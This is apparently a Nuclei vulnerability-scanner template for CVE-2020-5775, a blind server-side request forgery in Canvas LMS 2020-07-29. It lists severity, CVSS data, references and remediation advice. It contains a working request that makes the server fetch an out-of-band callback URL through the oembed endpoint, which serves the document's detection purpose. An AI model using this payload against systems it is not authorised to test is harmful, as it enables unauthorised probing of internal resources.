Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
PoC
id: CVE-2020-5775
info:
name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery
author: alph4byt3
severity: medium
description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
remediation: |
Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2020-49
- https://nvd.nist.gov/vuln/detail/CVE-2020-5775
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
cvss-score: 5.8
cve-id: CVE-2020-5775
cwe-id: CWE-918
epss-score: 0.06531
epss-percentile: 0.93437
cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: instructure
product: canvas_learning_management_service
tags: cve,cve2020,ssrf,oast,blind,tenable,instructure,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 480a0045304302205a25f67a8cd93069cee0db7858b47673daaefdaf9d95c23fb7ff023afd9decc8021f7714b66faff3705c0b7d5d6d7bf96f107cb3142677150e82007e94aa3416a7:922c64590222798bb761d5b6d8e72950
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